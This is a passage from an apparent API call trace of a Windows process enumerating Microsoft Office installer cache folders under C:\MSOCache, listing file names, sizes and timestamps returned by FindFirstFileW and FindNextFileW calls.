ftCreationTime.dwLowDateTime=0x41bf2470, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41bf2470, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd240b870, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x668, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.143] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.143] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.143] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9C97F~1")) returned 1 [0052.143] GetLastError () returned 0x12 [0052.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.154] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.154] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x923540e0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x923540e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x41ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.cab", cAlternateFileName="")) returned 1 [0052.154] GetLastError () returned 0x12 [0052.154] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72b275a0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x72b275a0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.msi", cAlternateFileName="")) returned 1 [0052.155] GetLastError () returned 0x12 [0052.155] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1ef3140, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xc1ef3140, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.xml", cAlternateFileName="")) returned 1 [0052.155] GetLastError () returned 0x12 [0052.155] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.155] GetLastError () returned 0x12 [0052.155] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.155] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.155] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.155] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00E2-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97E7F~1")) returned 1 [0052.155] GetLastError () returned 0x12 [0052.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.155] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.156] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x912ef470, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x912ef470, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3254c10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.cab", cAlternateFileName="")) returned 1 [0052.156] GetLastError () returned 0x12 [0052.156] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2413e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6e2413e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.msi", cAlternateFileName="")) returned 1 [0052.156] GetLastError () returned 0x12 [0052.156] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcfb7a70, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xdcfb7a70, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.xml", cAlternateFileName="")) returned 1 [0052.156] GetLastError () returned 0x12 [0052.156] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.156] GetLastError () returned 0x12 [0052.156] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.156] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.156] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.156] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0115-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9AA2F~1")) returned 1 [0052.156] GetLastError () returned 0x12 [0052.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2589da0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3209120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e1e12f0, ftCreationTime.dwHighDateTime=0x1d0ca7d, ftLastAccessTime.dwLowDateTime=0x2e1e12f0, ftLastAccessTime.dwHighDateTime=0x1d0ca7d, ftLastWriteTime.dwLowDateTime=0xd31baf20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x521b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0052.159] GetLastError () returned 0x12 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x39355420, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x39355420, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd27053f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb2a1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0052.159] GetLastError () returned 0x12 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cc80650, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cc80650, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2646d10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3da000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0052.159] GetLastError () returned 0x12 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdbe85560, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0xdbe85560, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xd2622320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x149b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0052.159] GetLastError () returned 0x12 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70035b30, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x70035b30, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0052.159] GetLastError () returned 0x12 [0052.159] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x740ab3a0, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x740ab3a0, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2588630, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d804480, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x7d804480, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd25fb220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OffSetLR.cab", cAlternateFileName="")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bc55fd0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7bc55fd0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x32ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7752c460, ftCreationTime.dwHighDateTime=0x1d0990a, ftLastAccessTime.dwLowDateTime=0x7752c460, ftLastAccessTime.dwHighDateTime=0x1d0990a, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3906, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x588655b0, ftCreationTime.dwHighDateTime=0x1d0a41d, ftLastAccessTime.dwLowDateTime=0x588655b0, ftLastAccessTime.dwHighDateTime=0x1d0a41d, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x14366, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41e54a10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41e54a10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2123, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0052.160] GetLastError () returned 0x12 [0052.160] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5746daf0, ftCreationTime.dwHighDateTime=0x1d0cba8, ftLastAccessTime.dwLowDateTime=0x5746daf0, ftLastAccessTime.dwHighDateTime=0x1d0cba8, ftLastWriteTime.dwLowDateTime=0xd31e2020, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0052.160] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0052.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.161] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0116-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~1")) returned 1 [0052.161] GetLastError () returned 0x12 [0052.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8720 [0052.979] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb9178720, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.979] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x75c7a4e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x75c7a4e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0052.979] GetLastError () returned 0x12 [0052.979] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51246020, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x51246020, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0052.979] GetLastError () returned 0x12 [0052.980] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74e2c320, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x74e2c320, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xb8922a80, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0052.980] GetLastError () returned 0x12 [0052.980] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69bb1570, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x69bb1570, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xb88643a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0052.980] GetLastError () returned 0x12 [0052.980] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3791b640, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0x3791b640, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xb8d01de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f70a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW64LR.cab", cAlternateFileName="")) returned 1 [0052.980] GetLastError () returned 0x12 [0052.980] FindNextFileW (in: hFindFile=0x4d8720, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42258760, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42258760, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xb9178720, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", 